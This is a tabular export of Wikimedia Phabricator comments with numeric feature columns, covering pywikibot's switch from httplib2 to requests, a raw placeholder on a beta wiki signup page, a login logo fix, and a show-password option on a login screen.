+469141,[BREAKING]  Change: Switch from httplib2 to requests,@xqt try following https://pip.pypa.io/en/latest/installing.html makes adding and managing packages on windows so much easier,,,1433437917,,PHID-USER-jfiw563ca4r5mxfkj4vx,False,,,PHID-TASK-jfkz6wgmrp52mqyjl3th,task_subcomment,,True,c3,1,False,,,-4,True,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,1,0,0,0,1,1,0,1
+469139,[BREAKING]  Change: Switch from httplib2 to requests,"Xzise, Ladsgroup maybe. But be aware  all settings must be changed and documented for several access routes (git, tortoisegit, svn, tortoisesvn, nightly)",,,1433437806,,PHID-USER-xezsyhikbr7hjrig2ofp,False,,,PHID-TASK-jfkz6wgmrp52mqyjl3th,task_subcomment,,True,c3,1,True,,,-4,True,1,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+469136,[BREAKING]  Change: Switch from httplib2 to requests,Thanks Betacommand but there isn't any pip.exe anywhere - it is part of py2.7.9 or newer.,,,1433437632,,PHID-USER-xezsyhikbr7hjrig2ofp,False,,,PHID-TASK-jfkz6wgmrp52mqyjl3th,task_subcomment,,True,c3,1,True,,,-4,True,1,0,0,0,1,1,1,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,1,0,0
+469135,[BREAKING]  Change: Switch from httplib2 to requests,Thanks Betacommand but pip.exe there isn't any pip.exe anywhere - it is part of py2.7.9 or newer.,,,1433437595,,PHID-USER-xezsyhikbr7hjrig2ofp,False,,,PHID-TASK-jfkz6wgmrp52mqyjl3th,task_subcomment,,True,c3,1,True,,,-4,True,1,0,0,0,1,1,1,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,1,0,1
+468908,[BREAKING]  Change: Switch from httplib2 to requests,"If you're on windows PIP isnt added to the system path. Try:
+
+
+```
+cd /
+cd  C:\Python27\Scripts
+pip install requests
+```",,,1433416456,,PHID-USER-jfiw563ca4r5mxfkj4vx,False,,,PHID-TASK-jfkz6wgmrp52mqyjl3th,task_subcomment,,True,c3,1,False,,,-4,True,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+468907,[BREAKING]  Change: Switch from httplib2 to requests,"If your on windows PIP isnt added to the system path. Try:
+
+
+```
+cd /
+cd  C:\Python27\Scripts
+pip install requests
+```",,,1433416423,,PHID-USER-jfiw563ca4r5mxfkj4vx,False,,,PHID-TASK-jfkz6wgmrp52mqyjl3th,task_subcomment,,True,c3,1,False,,,-4,True,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+468859,[BREAKING]  Change: Switch from httplib2 to requests,"I agree it's highly needed that we add requests as a submodule for core. It makes life a lot easier for non-programmers who are using pywikibot
+
+",,,1433414434,,PHID-USER-ctchvhisqfvk4rz7nt7d,False,,,PHID-TASK-jfkz6wgmrp52mqyjl3th,task_subcomment,,True,c3,1,False,,,-4,True,0,0,1,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,1,0,1,0,1,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,1,0,0
+468835,[BREAKING]  Change: Switch from httplib2 to requests,Which basically means that the command `pip` couldn't be found. So the ONLY problem is actually that `requests` isn't packaged together with `pywikibot-core`? Couldn't we make it similar to how we packaged `httplib2` and use `requests` as a submodule? Alternatively mention how to to install `requests` in the README or so?,,,1433412139,,PHID-USER-7fndkemmavweiht5ybfd,False,,,PHID-TASK-jfkz6wgmrp52mqyjl3th,task_subcomment,,True,c3,1,True,,,-4,True,0,0,0,1,1,1,0,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,0,0,0,0,0
+468811,[BREAKING]  Change: Switch from httplib2 to requests,"```
+C:\pwb\core>pip install requests
+Der Befehl ""pip"" ist entweder falsch geschrieben oder
+konnte nicht gefunden werden.
+
+C:\pwb\core>
+```
+with py 2.7.3",,,1433405709,,PHID-USER-xezsyhikbr7hjrig2ofp,False,,,PHID-TASK-jfkz6wgmrp52mqyjl3th,task_subcomment,,True,c3,1,True,,,-4,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1
+468799,[BREAKING]  Change: Switch from httplib2 to requests,"On https://gerrit.wikimedia.org/r/#/c/215603/ PS6 , @xqt says ""John Vandenberg: Please give try to do pip install with py < 2.7.9 in Windows.""
+
+Which version are you using?  I can test on any version which you are experiencing problems.  The Appveyor builds (linked in previous comment; https://ci.appveyor.com/project/jayvdb/pywikibot-core/build/1.0.fix-appveyor.239)) include 2.7.8 .",,,1433401412,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-jfkz6wgmrp52mqyjl3th,task_subcomment,,True,c3,1,True,,,-4,True,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,1,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,1,0,0,0,0,1,1,1,0,1,1,1,1,1,1,1,1,1,0,0,1,0,0,1
+468771,[BREAKING]  Change: Switch from httplib2 to requests,"@xqt, could you explain why 'pip install requests' doesnt work for you.
+You [[https://www.mediawiki.org/w/index.php?title=Manual:Pywikibot/Version_table&diff=prev&oldid=1523390 | added ]] that pip was working to the Version table.
+And we have Win32 builds running on Appveyor, and those builds install requests without a problem. https://ci.appveyor.com/project/jayvdb/pywikibot-core/build/1.0.fix-appveyor.239 
+
+Another way to install requests is here:
+http://www.lfd.uci.edu/~gohlke/pythonlibs/#requests
+Maybe that works for you...?
+
+>>! In T101228#1334767, @valhallasw wrote:
+> In this specific situation, I think it might be advisable to actually have this change in 2.1, not in 2.0. Then current users can switch to the 2.0 branch safely, and we can work on 2.1 without worrying about changes such as these.
+
+Users who are switching from compat to core are switching to a http library, either httplib2 or requests makes little difference.
+If the benefit is that httplib2 was in externals, and therefore it runs without any dependencies needing to be installed, we need to evaluate whether that is necessary.  What is causing the problems.  If it is necessary to assist the switch to core, why not add externals/requests instead of externals/httplib2?",,,1433385034,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-jfkz6wgmrp52mqyjl3th,task_subcomment,,True,c3,1,True,,,-4,True,1,0,0,1,1,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,0,0,0,1,0,1,0,0,1,1,1,1,1,0,1,0,0,1,1,0,1,0,1,1,0,1,1,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,1,1,1,1,1,1,0,1,0,0,1
+468452,[BREAKING]  Change: Switch from httplib2 to requests,">>! In T101228#1333496, @Xqt wrote:
+> I don't understand such a recommendations. We always recommended ""keep your bot up-to-date"". And now ""please dont update"" ...  and wait for bugfixes, translations, features until we have finished the bot in any spring; the current release may be broken. But please merge to core and don't use the ... I should give up.
+
+The reason to move to a versioned system is to provide //better// long-term stability for bot users. Unfortunately, we're still in the process of figuring out how to do this exactly, so not everything will be perfect on the first attempt.
+
+In the current situation, master would break every now and then, and require changes to bots. This was typically not planned, but it did mean that blindly 'git pull'ing always was a bad idea. The idea for versioning is the following. When 2.0 is released, only bug fixes will be backported, so it's completely safe to update to the latest 2.0.x. More major changes would end up in 2.1, and really bit changes (e.g. the removal of deprecated compat wrappers) would become 3.0.
+
+In this specific situation, I think it might be advisable to actually have this change in 2.1, not in 2.0. Then current users can switch to the 2.0 branch safely, and we can work on 2.1 without worrying about changes such as these.",,,1433355088,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-jfkz6wgmrp52mqyjl3th,task_subcomment,,True,c3,1,True,,,-5,True,1,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,1,1,0,0,1,1,0,0,1,1,1,1,1,1,1,1,0,0,1,1,0,0,1,1,0,1,0,0,1,1,1,1,0,1,0,0,0,1,1,1,1,0,1,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,1,1,0,1,1,1,0,1,1,1,0,1,1,0,1,1,1,1
+468223,[BREAKING]  Change: Switch from httplib2 to requests,"Change 215603 had a related patch set uploaded (by XZise):
+[FEAT] Basic httplib2 support
+
+[[https://gerrit.wikimedia.org/r/215603]]
+",,,1433337220,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jfkz6wgmrp52mqyjl3th,task_subcomment,,True,c3,1,False,,,-5,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+468190,[BREAKING]  Change: Switch from httplib2 to requests,"I don't understand such a recommendations. We always recommended ""keep your bot up-to-date"". And now ""please dont update"" ...  and wait for bugfixes, translations, features until we have finished the bot in any spring; the current release may be broken. But please merge to core and don't use the ... I should give up.",,,1433332621,,PHID-USER-xezsyhikbr7hjrig2ofp,False,,,PHID-TASK-jfkz6wgmrp52mqyjl3th,task_subcomment,,True,c3,1,True,,,-5,True,1,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,1,0,0,1,0,0,0,1,0,0,1,1,0,0,1,0,0,1,1,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,1,0,0,1,1,0,0,1,0,1,0,0,1,0,0,0,0,0
+468189,[BREAKING]  Change: Switch from httplib2 to requests,">>! In T101228#1333110, @jayvdb wrote:
+> The hint is there: install requests.
+> See also the email to the mailing list.
+
+I guess @xqt meant with “hint” a warning beforehand.",,,1433332308,,PHID-USER-7fndkemmavweiht5ybfd,False,,,PHID-TASK-jfkz6wgmrp52mqyjl3th,task_subcomment,,True,c3,1,True,,,-5,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,1,0,1,0,0,0,1,1,1,0,0,1,1,0,0,1,0,0,0,0,1
+468173,[BREAKING]  Change: Switch from httplib2 to requests,"The fact master is going to be unstable was announced after the RC was released  on May 28, with explicit recommendation to not update your master for bots running on production wikis.
+
+https://lists.wikimedia.org/pipermail/pywikibot/2015-May/009268.html
+
+```
+The tarball releases are currently locked to the git revision before
+the Lyon Hackathon.  This was done to prevent large code merges
+affecting users of the tarballs and Wikimedia labs shared pywikibot.
+There was one large change merged for RC 1, and there are a few more
+large changes which will be merged before the final pywikibot 2.0.
+
+I suggest bot operators avoid the unstable master by not updating
+regularly using git, but using the labs shared version or the pip
+package.  We'll announce each new release candidate for people to
+upgrade to.
+```",,,1433328712,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-jfkz6wgmrp52mqyjl3th,task_subcomment,,True,c3,1,True,,,-5,True,1,0,0,1,1,1,1,0,0,0,0,1,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,1,1,0,0,1,1,0,0,1,1,0,0,0,1,0,1,0,0,0,1,1,0,0,1,0,0,0,1,1,0,1,1,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,1,0,0
+468172,[BREAKING]  Change: Switch from httplib2 to requests,"Its still bad form to break a framework without having a fallback. What should have happened is introduce new system, throw warnings to user about missing module, give users reasonable time to fix, then remove the fallback for maintainability.  However stability of the framework seems to have degraded significantly since moving from compat. Introducing such a breaking chance without a fallback is a Really Bad Idea™, and is one of the main reasons I know people continue to use compat since there are far fewer stability issues.",,,1433328005,,PHID-USER-jfiw563ca4r5mxfkj4vx,False,,,PHID-TASK-jfkz6wgmrp52mqyjl3th,task_subcomment,,True,c3,1,False,,,-5,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,1,1,0,1,1,0,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,1,1,0,0,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0
+468131,[BREAKING]  Change: Switch from httplib2 to requests,"The hint is there: install requests.
+See also the email to the mailing list.",,,1433319715,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-jfkz6wgmrp52mqyjl3th,task_subcomment,,True,c3,1,True,,,-5,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+100800,en.wikipedia.beta.wmflabs.org create account contains <logintart>,"http://en.wikipedia.beta.wmflabs.org/w/index.php?title=Special:UserLogin&returnto=Main+Page&type=signup
+
+says
+
+""This wiki does not share accounts with normal Wikimedia infrastructure. It is also not secure. When registering, please create a UNIQUE password for this site only. Consider if you feel safe if everyone in the world knew this password, because it might be easily intercepted. <loginstart> ""
+
+",Low,25.0,1432910982,1434970360.0,PHID-USER-oxd6f6xemkuyttw7z7wl,False,PHID-USER-orzyp3dswemhdgdznro5,False,PHID-TASK-bigkgpbbvkg2j7bslbuw,task_description,resolved,True,c3,1,True,False,True,-5,True,0,1,0,1,1,1,0,1,0,1,1,0,0,1,0,0,0,1,1,1,0,0,0,0,1,0,0,0,1,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,1,0,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,1
+478951,en.wikipedia.beta.wmflabs.org create account contains <logintart>,Resolved somehow. I guess the l10n cache was stalled.,,,1434970360,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-bigkgpbbvkg2j7bslbuw,task_subcomment,,True,c3,2,True,,,-2,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+100633,MediaWiki.org shows wrong login icon,"It shows the Wikimedia Foundation logo on the MediaWiki.org login screen.  It should show the MediaWiki.org logo (https://www.mediawiki.org/static/images/project-logos/mediawikiwiki.png, maybe without the text).",Low,25.0,1432803933,1433374570.0,PHID-USER-dw53c5cb2qfhyemej57o,True,PHID-USER-5dwuaigmkz2vzg65lape,False,PHID-TASK-alq542s32wmmdpy7x4v7,task_description,resolved,True,c3,1,True,False,True,-5,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0
+468722,MediaWiki.org shows wrong login icon,done!,,,1433374570,,PHID-USER-5dwuaigmkz2vzg65lape,True,,,PHID-TASK-alq542s32wmmdpy7x4v7,task_subcomment,,True,c3,1,True,,,-5,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,0,0,0,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0
+468710,MediaWiki.org shows wrong login icon,"Change 215361 merged by jenkins-bot:
+Enable MediaWiki logo on mobile login page
+
+[[https://gerrit.wikimedia.org/r/215361]]",,,1433373684,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-alq542s32wmmdpy7x4v7,task_subcomment,,True,c3,1,False,,,-5,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+468545,MediaWiki.org shows wrong login icon,Requested deploy https://wikitech.wikimedia.org/wiki/Deployments#Wednesday.2C.C2.A0June.C2.A003,,,1433361367,,PHID-USER-5dwuaigmkz2vzg65lape,True,,,PHID-TASK-alq542s32wmmdpy7x4v7,task_subcomment,,True,c3,1,True,,,-5,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+467642,MediaWiki.org shows wrong login icon,"Change 215361 had a related patch set uploaded (by Jdlrobson):
+Enable MediaWiki logo on mobile login page
+
+[[https://gerrit.wikimedia.org/r/215361]]
+",,,1433265284,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-alq542s32wmmdpy7x4v7,task_subcomment,,True,c3,1,False,,,-5,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+467641,MediaWiki.org shows wrong login icon,It's a config variable which defaults to Wikimedia Foundation logo. Easy config fix.,,,1433265262,,PHID-USER-5dwuaigmkz2vzg65lape,True,,,PHID-TASK-alq542s32wmmdpy7x4v7,task_subcomment,,True,c3,1,True,,,-5,True,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0
+99680,Login screen should have a display password checkbox,The create account screen has the option to display the password entered. This task is to duplicate that functionality for the login screen.,Low,25.0,1432052467,1440646904.0,PHID-USER-6tlavgtsosjuvizsej53,False,PHID-USER-kve2ug5yc3dp6ighnmqk,False,PHID-TASK-ycl2lvdm4acoirmqkzlr,task_description,resolved,True,c3,1,False,False,True,-7,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+511137,Login screen should have a display password checkbox,"Checked on Checked with 2.0.108-alpha-2015-08-19 on Nexus5(Android 5.1)
+Samsung Tablet Ce0168(Android 4.0.4)
+
+The screenshots are from Nexus5(Android 5.1)
+{F1902816}
+
+{F1902818}
+
+{F1902820}
+
+{F1902822}",,,1440014862,,PHID-USER-4alekd35in5tg53zpsl4,False,,,PHID-TASK-ycl2lvdm4acoirmqkzlr,task_subcomment,,True,c3,3,False,,,6,True,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+508690,Login screen should have a display password checkbox,Signed off by design.,,,1439588580,,PHID-USER-rooknayvbydy6sodz3lx,False,,,PHID-TASK-ycl2lvdm4acoirmqkzlr,task_subcomment,,True,c3,3,False,,,6,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+503622,Login screen should have a display password checkbox,"{F654143}
+
+{F654145}",,,1438897266,,PHID-USER-rooknayvbydy6sodz3lx,False,,,PHID-TASK-ycl2lvdm4acoirmqkzlr,task_subcomment,,True,c3,3,False,,,5,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+503620,Login screen should have a display password checkbox,A checkbox feels like a bit strange on mobile,,,1438897197,,PHID-USER-rooknayvbydy6sodz3lx,False,,,PHID-TASK-ycl2lvdm4acoirmqkzlr,task_subcomment,,True,c3,3,False,,,5,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+503619,Login screen should have a display password checkbox,"Twitter has an interesting 'show password' with an eye
+http://pttrns.com/applications/353?page=2",,,1438897180,,PHID-USER-rooknayvbydy6sodz3lx,False,,,PHID-TASK-ycl2lvdm4acoirmqkzlr,task_subcomment,,True,c3,3,False,,,5,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,0
+503611,Login screen should have a display password checkbox,"Any way we could use the material design toggle here?
+",,,1438896700,,PHID-USER-rooknayvbydy6sodz3lx,False,,,PHID-TASK-ycl2lvdm4acoirmqkzlr,task_subcomment,,True,c3,3,False,,,5,True,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0
+501907,Login screen should have a display password checkbox,"Change 229072 merged by jenkins-bot:
+Show ""Display password"" check box on login screen
+
+[[https://gerrit.wikimedia.org/r/229072]]",,,1438707330,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ycl2lvdm4acoirmqkzlr,task_subcomment,,True,c3,3,False,,,4,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,1
+501646,Login screen should have a display password checkbox,"Change 229072 had a related patch set uploaded (by Deskana):
+Show ""Display password"" check box on login screen
+
+[[https://gerrit.wikimedia.org/r/229072]]
+",,,1438661716,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ycl2lvdm4acoirmqkzlr,task_subcomment,,True,c3,3,False,,,4,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,1
+460870,Login screen should have a display password checkbox,"Please do default it to hide the password, with a ""show password"" checkbox (or checked ""hide password""), unless we have very strong evidence that it's hurting the UX.",,,1432052902,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-ycl2lvdm4acoirmqkzlr,task_subcomment,,True,c3,1,True,,,-7,True,0,0,1,0,0,1,0,0,0,1,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,1,0,1,0,0,1,0,1,0,0,0
+460867,Login screen should have a display password checkbox,Correct. The create account checkbox defaults to unchecked.,,,1432052780,,PHID-USER-6tlavgtsosjuvizsej53,False,,,PHID-TASK-ycl2lvdm4acoirmqkzlr,task_subcomment,,True,c3,1,False,,,-7,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+460865,Login screen should have a display password checkbox,"This is default off, right?",,,1432052655,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-ycl2lvdm4acoirmqkzlr,task_subcomment,,True,c3,1,True,,,-7,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0
+99370,httplib2 0.6.0 is required,"```
+>>> import pywikibot
+Error: Python module httplib2 >= 0.6.0 is required.
+>>> 
